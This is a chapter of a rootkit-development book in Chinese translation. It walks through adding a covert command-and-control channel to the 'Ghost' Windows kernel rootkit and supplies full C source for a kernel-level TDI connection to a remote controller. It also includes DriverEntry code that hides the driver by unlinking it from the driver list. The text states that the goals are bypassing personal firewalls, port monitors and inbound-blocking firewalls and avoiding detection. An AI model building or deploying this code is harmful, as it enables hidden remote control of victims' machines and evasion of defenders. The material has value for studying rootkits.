第六章:通讯
概述
本章介绍底层网络通讯。底层通讯是许多rootkit众多功能中的一个必须的。最基本的原因是底层通讯不会被高层通讯发现,例如socket-level通讯可以被个人防火墙监控。这样可以使得rootkit不被个人防火墙和端口监视器发现,例如Sysinternal的portMon(端口监视软件)。选择底层通讯的另外一个原因是需要区分rootkit通讯和普通网络通讯,作为rootkit和它远程控制端的连接是不需要被其他rootkit监视的。
本章包括如下内容:
传输驱动接口(TDI)
连接启动
一个远程控制通讯实例

传输驱动接口
rootkit与其控制程序之间的通讯非常有可能引起rootkit监测程序的注意。为了降低被监测到的可能性,通讯应该在最低层这样才最有可能绕过尽可能多的监测程序。对于rootkit开发者来说,我们的选择就是传输驱动接口,也就是TDI。
TDI是内核模式传输接口,在socket层以下的网络协议栈实现。这就意味着本地socket-level(套接字水平)防火墙和网络过滤程序将不会发现TDI通讯,除非数据包被故意向上传递到socket layer(套接字层)。 
操作系统必须提供命名驱动设备对象,以便可以使高层协议与底层设备通讯。这个标准允许内核设备驱动使用ZwCreateFile来打开如“/device/tcp,”一样的设备,并可以通过IoCallDriver来路由I/O请求包(IRPs)以实现在最低通讯层(具有TCP/IP通讯能力的)与网络进行通讯。
启动连接
许多rootkit创建一个通讯频道然后监听命令发送到一个特殊端口,或者监测所有网络传输并从一个远程控制端监听特殊样式。这些设计的好处是隐秘,因为只是单纯的监听是很难被发现的。不幸的是,这种设计会被具有禁止正向连接的联合防火墙击败。本章开发的rootkit将通过在初始化期间启动控制器连接的方法绕过这个问题。
几年前,在开机启动处理时启动反向连接将引起怀疑。甚至到现在为止,使用一些其他HTTP格式的数据包从80或443端口建立的反向连接也会引起怀疑,但是今天的软件变得非常信任网络上的数据,并且检测上传到网络上的数据也变得很简单以至于在开机启动处理时向外发送的HTTP和HTTPS连接也不会引起不必要的怀疑。
一个实例
为了实现通过底层TDI连接与远程rootkit客户端连接需要创建两个新文件和修改三个已存在文件。另外,这个例子需要一个控制端。
新文件如下: 

commManager.c
commManager.h
下面是被修改的文件: 

Ghost.c
hookManager.c
SOURCES
Ghost rootkit的控制端被命名为GhostTracker。
GhostTracker是多线程C#应用程序,使用.NET framework的TCPClient和TCPListener类。第12章将致力于控制端的编写,但是现在你不需要知道它是如何工作的,你只需要了解它的功能就可以了。如果你有C#编译环境,可以随便跳过前面并编译GhostTracker程序。或者,在Chapter12 GhostTracker目录获得所需要的可执行文件。
在本书编译时你可以在 http://msdn.microsoft.com/vstudio/express/visualcsharp/download 下载并安装C# Visual Studio。当你打开GhostTracker项目时,你需要将它转换成2005 Express C# 项目,然后你就可以正常编译并运行。
使用具体操作环境编译GhostTracker时,你要确保你的操作和配置正确。另外,你可以在debug模式下运行它并可以在其基础上增加你自己想要的功能。此外,如果你有学习C#的打算,这将是一个很好的切入点!
在运行这个例子之前需要更改几处设置。在第二章配置Ghost时,一个网络地址和一个通讯端口被写入到文件c:\config32中。那时“123.456.789.012:01234”很好的演示了交换数据流是这样工作的,但是在本章中你将需要使用真实有效的IP地址。可以在命令提示符窗口使用“ipconfig”命令获得本机IP地址。你可能有几个适配器,一些真实的或虚拟的,但是如果你只有一个网络接口卡(NIC),你将只有一个拥有有效IP地址的命令适配器。这个地址就是你所需要写入c:\config32文件的。使用80端口和它所运行机器上的IP地址来配置GhostTracker,因此必须增加“:00080”到你的IP地址。然后使用命令“echo xxx.xxx.xxx.xxx:00080 > c:\config32”,这是使用你的电脑是真实有效IP地址。另外,注意要为地址的每个数据段使用三个空间,为端口号分配五个空间;Ghost不会很智能的解析这个信息。ipconfig命令如图6-1所示。

commManager.h
文件commManager.h中提供了一些有用的宏指令和在commManager.c中使用的函数原型。 
代码如下:

// Copyright Ric Vieler, 2006
// Support header for commManager.c

#ifndef _COMM_MANAGER_H_
#define _COMM_MANAGER_H_

// TCP device name
#define COMM_TCP_DEVICE_NAME      L"\\Device\\Tcp"

// useful macros
#define INETADDR(a, b, c, d) (a + (b<<8) + (c<<16) + (d<<24))
#define HTONL(a) (((a&0xFF)<<24) + ((a&0xFF00)<<8) + ((a&0xFF0000)>>8) +
((a&0xFF000000)>>24))
#define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8))

#define RECEIVE_BUFFER_SIZE  1024

NTSTATUS OpenTDIConnection();
void CloseTDIConnection();
NTSTATUS SendToRemoteController( char* buffer );
VOID timerDPC( PKDPC Dpc, PVOID DeferredContext, PVOID sys1, PVOID sys2 );

#endif
commManager.c
文件commManager.c提供了commManager.h中定义函数的子程序 :
TDICompletionRoutine当下一个底层驱动完成I/O请求时,这个子程序被调用。
OpenTDIConnection这个子程序打开远程控制端连接。
CloseTDIConnection这个子程序关闭远程控制端连接。
SendToRemoteController这个子函数在TDI通讯链路上发送数据。
TimerDPC这个子函数可以被用来循环查询来自远程控制端的命令。
// commManager
// Copyright Ric Vieler, 2006
// This file supports a TDI connection to
// masterAddress1.2.3.4 : masterPort

#include <ntddk.h>
#include <tdikrnl.h>
#include <stdio.h>
#include <stdlib.h>
#include "commManager.h"
#include "configManager.h"
#include "Ghost.h"

// Globals
char*                                  pSendBuffer = NULL;
PMDL                                   pSendMdl = NULL;
PMDL                                   pReceiveMdl = NULL;
PFILE_OBJECT                           pFileObject = NULL;
PDEVICE_OBJECT                         pDeviceObject = NULL;
PKTIMER                                pKernelTimer = NULL;
PKDPC                                  pKernelDPC = NULL;
PFILE_FULL_EA_INFORMATION      pFileInfo = NULL;

// Completion routine for all events (connect, send and receive)
static NTSTATUS TDICompletionRoutine(IN PDEVICE_OBJECT theDeviceObject, IN PIRP
theIrp, IN PVOID theContextP)
{
 DbgPrint("comint32: TDICompletionRoutine().");

 if( theContextP != NULL )
  KeSetEvent( (PKEVENT)theContextP, 0, FALSE );

 return( STATUS_MORE_PROCESSING_REQUIRED );
}

// Open a TDI channel and connect to masterAddress1.2.3.4 : masterPort
NTSTATUS OpenTDIConnection()
{
 int port;
 int address1;
 int address2;
 int address3;
 int address4;
 NTSTATUS status;
 UNICODE_STRING TdiTransportDeviceName;
 OBJECT_ATTRIBUTES TdiAttributes;
 HANDLE TdiAddressHandle;
 HANDLE TdiEndpointHandle;
 IO_STATUS_BLOCK IoStatusBlock;
 PTA_IP_ADDRESS pAddress;
 CONNECTION_CONTEXT connectionContext = NULL;
 ULONG eaSize;
 PIRP pIrp;
 PVOID pAddressFileObject;
 KEVENT irpCompleteEvent;
 KEVENT connectionEvent;
 TA_IP_ADDRESS controllerTaIpAddress;
 ULONG controllerIpAddress;
 USHORT controllerPort;
 TDI_CONNECTION_INFORMATION controllerConnection;
 LARGE_INTEGER timeout;

 static char eaBuffer[ sizeof(FILE_FULL_EA_INFORMATION) +
  TDI_TRANSPORT_ADDRESS_LENGTH +
  sizeof(TA_IP_ADDRESS) ];

 PFILE_FULL_EA_INFORMATION pEaBuffer = (PFILE_FULL_EA_INFORMATION)eaBuffer;

 // Build Unicode transport device name.
 RtlInitUnicodeString( &TdiTransportDeviceName,
  COMM_TCP_DEVICE_NAME ); // "/device/tcp"

 // create object attribs
 InitializeObjectAttributes( &TdiAttributes,
  &TdiTransportDeviceName,
  OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
  0,
  0 );

 pEaBuffer->NextEntryOffset = 0;
 pEaBuffer->Flags = 0;
 pEaBuffer->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH;

 // Copy TdiTransportAddress
 memcpy( pEaBuffer->EaName,
  TdiTransportAddress,
  pEaBuffer->EaNameLength + 1 );

 // EaValue represents of the local host IP address and port
 pEaBuffer->EaValueLength = sizeof(TA_IP_ADDRESS);

 pAddress = (PTA_IP_ADDRESS)   (pEaBuffer->EaName + pEaBuffer->EaNameLength + 1);
 pAddress->TAAddressCount = 1;
 pAddress->Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
 pAddress->Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
 pAddress->Address[0].Address[0].sin_port = 0; // any port
 pAddress->Address[0].Address[0].in_addr = 0; // local address
 memset( pAddress->Address[0].Address[0].sin_zero, 0,
  sizeof(pAddress->Address[0].Address[0].sin_zero) );

 // Get the transport device
 status = ZwCreateFile( &TdiAddressHandle,
  GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
  &TdiAttributes,
  &IoStatusBlock,
  0,
  FILE_ATTRIBUTE_NORMAL,
  FILE_SHARE_READ,
  FILE_OPEN,
  0,
  pEaBuffer,
  sizeof(eaBuffer) );

 if( !NT_SUCCESS( status ) )
 {
  DbgPrint("comint32: OpenTDIConnection() ZwCreate #1 failed, Status = %0x",
status);
  return STATUS_UNSUCCESSFUL;
 }

 // get object handle
 status = ObReferenceObjectByHandle( TdiAddressHandle,
  FILE_ANY_ACCESS,
  0,
  KernelMode,
   (PVOID *)&pAddressFileObject,
  NULL );


 // Open a TDI endpoint
 eaSize = FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName) +
  TDI_CONNECTION_CONTEXT_LENGTH + 1 +
  sizeof(CONNECTION_CONTEXT);

 // Overwrite pEaBuffer
 pFileInfo = (PFILE_FULL_EA_INFORMATION)ExAllocatePool(NonPagedPool, eaSize);
 if( pFileInfo == NULL )
 {
  DbgPrint("comint32: OpenTDIConnection() failed to allocate buffer");
  return STATUS_INSUFFICIENT_RESOURCES;
 }

 // Set file info
 memset(pFileInfo, 0, eaSize);
 pFileInfo->NextEntryOffset = 0;
 pFileInfo->Flags = 0;
 pFileInfo->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH;
 memcpy( pFileInfo->EaName,
  TdiConnectionContext,
  pFileInfo->EaNameLength + 1 ); //includes NULL terminator

 // CONNECTION_CONTEXT is a user defined structure used to sort connections
 // There is only one connection in this example, so CONNECTION_CONTEXT is not used
 pFileInfo->EaValueLength = sizeof(CONNECTION_CONTEXT);
 *(CONNECTION_CONTEXT*)(pFileInfo->EaName+(pFileInfo->EaNameLength + 1)) =
  (CONNECTION_CONTEXT) connectionContext;

 status = ZwCreateFile( &TdiEndpointHandle,
  GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
  &TdiAttributes,
  &IoStatusBlock,
  0,
  FILE_ATTRIBUTE_NORMAL,
  FILE_SHARE_READ,
  FILE_OPEN,
  0,
  pFileInfo,
   sizeof(eaBuffer) );

 if( !NT_SUCCESS( status ) )
 {
  DbgPrint("comint32: OpenTDIConnection() ZwCreate #2 failed, Status = %0x",
status);
  return STATUS_UNSUCCESSFUL;
 }

 // get object handle
 status = ObReferenceObjectByHandle( TdiEndpointHandle,
  FILE_ANY_ACCESS,
  0,
  KernelMode,
  (PVOID *)&pFileObject,
  NULL );

 // Associate endpoint with address
 pDeviceObject = IoGetRelatedDeviceObject( pAddressFileObject );

 // Define a completion event
 KeInitializeEvent( &irpCompleteEvent, NotificationEvent, FALSE );

 // Build IO Request Packet
 pIrp = TdiBuildInternalDeviceControlIrp( TDI_ASSOCIATE_ADDRESS,
  pDeviceObject,
  pFileObject,
  &irpCompleteEvent,
  &IoStatusBlock );

 if( pIrp == NULL )
 {
  DbgPrint("comint32: No IRP for TDI_ASSOCIATE_ADDRESS");
  return( STATUS_INSUFFICIENT_RESOURCES );
 }

  // Extend the IRP
 TdiBuildAssociateAddress(pIrp,
  pDeviceObject,
  pFileObject,
  NULL,
  NULL,
  TdiAddressHandle );

 // set completion routine
 IoSetCompletionRoutine( pIrp, TDICompletionRoutine, &irpCompleteEvent, TRUE, TRUE,
TRUE);

 // Send the packet
 status = IoCallDriver( pDeviceObject, pIrp );

 // Wait
 if( status == STATUS_PENDING )
 {
  DbgPrint("comint32: OpenTDIConnection() Waiting on IRP (associate)...");
  KeWaitForSingleObject(&irpCompleteEvent, Executive, KernelMode, FALSE, 0);
 }

 if( ( status != STATUS_SUCCESS) &&
  ( status != STATUS_PENDING ) )
 {
   DbgPrint("comint32: OpenTDIConnection() IoCallDriver #1 failed. Status = %0x",
status);
   return STATUS_UNSUCCESSFUL;
 }

 // Connect to the remote controller
 KeInitializeEvent(&connectionEvent, NotificationEvent, FALSE);

 // build connection packet
 pIrp = TdiBuildInternalDeviceControlIrp( TDI_CONNECT,
  pDeviceObject,
  pFileObject,
  &connectionEvent,
  &IoStatusBlock );

 if( pIrp == NULL )
 {
  DbgPrint("comint32: OpenTDIConnection() could not get an IRP for TDI_CONNECT");
  return( STATUS_INSUFFICIENT_RESOURCES );
 }

 // Initialize controller data
 address1 = atoi(masterAddress1);
 address2 = atoi(masterAddress2);
 address3 = atoi(masterAddress3);
 address4 = atoi(masterAddress4);
 port = atoi(masterPort);
 controllerPort = HTONS(port);
 controllerIpAddress = INETADDR(address1,address2,address3,address4);
 controllerTaIpAddress.TAAddressCount = 1;
 controllerTaIpAddress.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
 controllerTaIpAddress.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
 controllerTaIpAddress.Address[0].Address[0].sin_port = controllerPort;
 controllerTaIpAddress.Address[0].Address[0].in_addr = controllerIpAddress;
 controllerConnection.UserDataLength = 0;
 controllerConnection.UserData = 0;
 controllerConnection.OptionsLength = 0;
 controllerConnection.Options = 0;
 controllerConnection.RemoteAddressLength = sizeof(controllerTaIpAddress);
 controllerConnection.RemoteAddress = &controllerTaIpAddress;

 // add controller data to the packet
 TdiBuildConnect( pIrp,
  pDeviceObject,
  pFileObject,
  NULL,
  NULL,
  NULL,
  &controllerConnection,
  0 );

 // set completion routine
 IoSetCompletionRoutine( pIrp, TDICompletionRoutine, &connectionEvent, TRUE, TRUE,
TRUE);

 // Send the packet
 status = IoCallDriver( pDeviceObject, pIrp );

 // wait
 if( status == STATUS_PENDING )
 {
  DbgPrint("comint32: OpenTDIConnection() waiting on IRP (connect)...");
  KeWaitForSingleObject(&connectionEvent, Executive, KernelMode, FALSE, 0);
 }

 if( ( status != STATUS_SUCCESS ) &&
  ( status != STATUS_PENDING ) )
 {
  DbgPrint("comint32: OpenTDIConnection() Connection failed. Status = %0x",
status);
  return( STATUS_UNSUCCESSFUL );
 }

 // Start a Deferred Procedure Call
 // Objects must be non paged
 pKernelTimer = ExAllocatePool( NonPagedPool, sizeof( KTIMER ) );
 pKernelDPC = ExAllocatePool( NonPagedPool, sizeof( KDPC ) );

 timeout.QuadPart = -10;

 KeInitializeTimer( pKernelTimer );
 KeInitializeDpc( pKernelDPC, timerDPC, NULL );

 if( KeSetTimerEx( pKernelTimer, timeout, 500, pKernelDPC ) ) // 1/2 second
 {
  DbgPrint("comint32: OpenTDIConnection() Timer was already set.");
 }

 return STATUS_SUCCESS;
}

// Clean up
void CloseTDIConnection()
{
 KeCancelTimer( pKernelTimer );
 ExFreePool( pKernelTimer );
 ExFreePool( pKernelDPC );
 if( pFileInfo != NULL )
  ExFreePool( pFileInfo );
 if( pKernelTimer == NULL )
  ExFreePool( pKernelTimer );
 if( pKernelDPC == NULL )
  ExFreePool( pKernelDPC );
 if( pSendBuffer != NULL )
  ExFreePool( pSendBuffer );
 if( pSendMdl != NULL )
  IoFreeMdl( pSendMdl );
 if( pReceiveMdl != NULL )
  IoFreeMdl( pReceiveMdl );
}

NTSTATUS SendToRemoteController( char* buffer )
{
 NTSTATUS               status;
 ULONG                  bufferLength;
 KEVENT                 SendEvent;
 PIRP                   pIrp;
 IO_STATUS_BLOCKIoStatusBlock;

 KeInitializeEvent( &SendEvent, NotificationEvent, FALSE );

 bufferLength = strlen( buffer );

 if( pSendBuffer != NULL )
  ExFreePool( pSendBuffer );
 pSendBuffer = ExAllocatePool( NonPagedPool, bufferLength );
 memcpy( pSendBuffer, buffer, bufferLength );

 // build an IO Request Packet
 pIrp = TdiBuildInternalDeviceControlIrp( TDI_SEND,
   pDeviceObject,
   pFileObject,
   &SendEvent,
   &IoStatusBlock );

 if( pIrp == NULL )
 {
  DbgPrint( "comint32: SendToRemoteController() could not get an IRP for TDI_SEND"
);
  return( STATUS_INSUFFICIENT_RESOURCES );
 }

 if( pSendMdl != NULL )
  IoFreeMdl( pSendMdl );

 pSendMdl = IoAllocateMdl( pSendBuffer, bufferLength, FALSE, FALSE, pIrp );

 if( pSendMdl == NULL )
 {
  DbgPrint("comint32: SendToRemoteController() could not get an MDL for TDI_SEND");
  return( STATUS_INSUFFICIENT_RESOURCES );
 }

 __try
 {
  MmProbeAndLockPages(  pSendMdl,
   KernelMode,
   IoModifyAccess );
 }
 __except( EXCEPTION_EXECUTE_HANDLER )
 {
  DbgPrint("comint32: SendToRemoteController() ProbeAndLock exception.");
  return( STATUS_UNSUCCESSFUL );
  }

 // Extend the packet
 TdiBuildSend( pIrp,
   pDeviceObject,
   pFileObject,
   NULL,
   NULL,
   pSendMdl,
   0,
   bufferLength );

 // set completion routine
 IoSetCompletionRoutine( pIrp, TDICompletionRoutine, &SendEvent, TRUE, TRUE, TRUE);

 // Send the packet
 status = IoCallDriver( pDeviceObject, pIrp );

 // wait
 if( status == STATUS_PENDING )
 {
  DbgPrint("comint32: SendToRemoteController() waiting on IRP (send)...");
  KeWaitForSingleObject( &SendEvent, Executive, KernelMode, FALSE, 0 );
 }

 if( ( status != STATUS_SUCCESS ) &&
  ( status != STATUS_PENDING ) )
 {
  DbgPrint("comint32: SendToRemoteController() Send failed. Status = %0x", status);
  return( STATUS_UNSUCCESSFUL );
 }

 return STATUS_SUCCESS;
}

// called periodically
VOID timerDPC( PKDPC Dpc, PVOID DeferredContext, PVOID sys1, PVOID sys2 )
{
 // poll for commands
}
SOURCES
和增加所有新文件到我们的rootkit中一样,将commManager.c增加到SOURCES中:

TARGETNAME=comint32
TARGETPATH=OBJ
TARGETTYPE=DRIVER
SOURCES=Ghost.c\
 fileManager.c\
 IoManager.c\
 commManager.c\
 hookManager.c\
 configManager.c
最后,需要向Ghost.c文件中增加如下代码:

#include commManager.hVOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
UNICODE_STRING deviceLink = { 0 };

// Close the connection to remote controller
CloseTDIConnection();

// remove device controller
RtlInitUnicodeString( &deviceLink, GHOST_DEVICE_LINK_NAME );
IoDeleteSymbolicLink( &deviceLink );
IoDeleteDevice( pDriverObject->DeviceObject );
DbgPrint("comint32: Device controller removed.");

// Unhook any hooked functions and return the Memory Descriptor List
f( NewSystemCallTable )
{
 UNHOOK( ZwMapViewOfSection, OldZwMapViewOfSection );
 MmUnmapLockedPages( NewSystemCallTable, pMyMDL );
 IoFreeMdl( pMyMDL );
}
DbgPrint("comint32: Hooks removed.");
}
只需要在OnLoad中增加CloseTDIConnection调用:

NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
 DRIVER_DATA* driverData;
UNICODE_STRING deviceName = { 0 };
 UNICODE_STRING deviceLink = { 0 };
 PDEVICE_OBJECT pDeviceController;

 // Get the operating system version
 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

 // Major = 4: Windows NT 4.0, Windows Me, Windows 98 or Windows 95
 // Major = 5: Windows Server 2003, Windows XP or Windows 2000
 // Minor = 0: Windows 2000, Windows NT 4.0 or Windows 95
 // Minor = 1: Windows XP
 // Minor = 2: Windows Server 2003

 if ( majorVersion == 5 && minorVersion == 2 )
 {
  DbgPrint("comint32: Running on Windows 2003");
 }
 else if ( majorVersion == 5 && minorVersion == 1 )
 {
  DbgPrint("comint32: Running on Windows XP");
 }
 else if ( majorVersion == 5 && minorVersion == 0 )
 {
  DbgPrint("comint32: Running on Windows 2000");
 }
 else if ( majorVersion == 4 && minorVersion == 0 )
 {
  DbgPrint("comint32: Running on Windows NT 4.0");
 }
 else
 {
  DbgPrint("comint32: Running on unknown system");
 }

 // Hide this driver
 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));
 if( driverData != NULL )
 {
  // unlink this driver entry from the driver list
  *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
  driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
 }

 // Get the remote controller's address and port
 if( !NT_SUCCESS( Configure() ) )
 {
  DbgPrint("comint32: Configure failed!\n");
  return STATUS_UNSUCCESSFUL;
 }

 // Add kernel hooks
 if( !NT_SUCCESS( HookKernel() ) )
 {
  DbgPrint("comint32: HookKernel failed!\n");
  return STATUS_UNSUCCESSFUL;
 }

 // Open the connection to remote controller
 if( !NT_SUCCESS( OpenTDIConnection() ) )
 {
  DbgPrint("comint32: Could not open remote connection.\n");
  return STATUS_UNSUCCESSFUL;
 }

 // Tell remote controller that we're here
 SendToRemoteController( "207.46.20.30" );

 // Create the device controller
 RtlInitUnicodeString( &deviceName, GHOST_DEVICE_CREATE_NAME );
 IoCreateDevice( pDriverObject,
   0,
   &deviceName,
   FILE_DEVICE_UNKNOWN,
   0,
   FALSE,
   &pDeviceController );
 RtlInitUnicodeString( &deviceLink, GHOST_DEVICE_LINK_NAME );
 IoCreateSymbolicLink( &deviceLink, &deviceName );

 pDriverObject->MajorFunction[IRP_MJ_CREATE] =
 pDriverObject->MajorFunction[IRP_MJ_CLOSE]         =
 pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = OnDispatch;

 // Comment out in free build to avoid detection
 pDriverObject->DriverUnload = OnUnload;

 return STATUS_SUCCESS;
}
OpenTDIConnection和SendToRemoteController已经被增加到了DriverEntry中。OpenTDIConnection在确保所有可能返回条件中TDI连接被创建后 DriverEntry不会返回失败结果后才被增加。如果增加了其他可能的错误条件,必须在返回结果前小心的关闭TDI连接。SendToRemoteController向远程控制端发送一个网络地址。在正常情况下,这个地址是启动连接的机器的地址。

运行实例
我们现在来演示TDI连接,首先运行GhostTracker (GT.exe)。GhostTracker提供了一个简单由连接客户端IP地址构成的列表控制界面。因为c:\config32被设置为运行GhostTracker机器的IP地址,Ghost就会打开一个TDI连接来指向GhostTracker并通过SendToRemoteController向控制端发送一个连接字符串。为了启动这个连接你只需使用本书中一直使用的“SCMLoader”和“net start MyDeviceDriver”命令来运行Ghost。如图6-2所示,一个典型的rootkit环境。
如果你有两台或更多的电脑,你可以在一台上运行GhostTracker在其他机器上运行Ghost。只要确保将运行GhostTracker的电脑的IP地址添加到其他机器的config32文件中。这将让你感受到rootkits在实际攻击中是如何工作的。GhostTracker如图6-3所示。 

当GhostTracker中的列表框开始出现客户端连接时,你可以在任何一个IP地址上双击来打开相应客户的远程控制界面。然而,不要对这个例子期望太多。毕竟GhostTracker只是一个简单的没有操作能力的模型而已。GhostTracker控制界面如图6-4所示。

总结
我们现在拥有了具有如下功能的rootkit:
隐藏设备驱动条目
隐藏配置文件
挂钩操作系统内核
挂钩所选操作系统加载的进程
处理来自用户模式程序的指令
与远程控制端通讯
虽然这章只是详述了初级的远程控制连接,作为一个热身还是足够的。现在我们已经可以启动一个连接,一个循环查询子程序检测远程命令;一个命令解析子程序可以执行远程控制端的一些渴望的功能。下章介绍过滤驱动程序。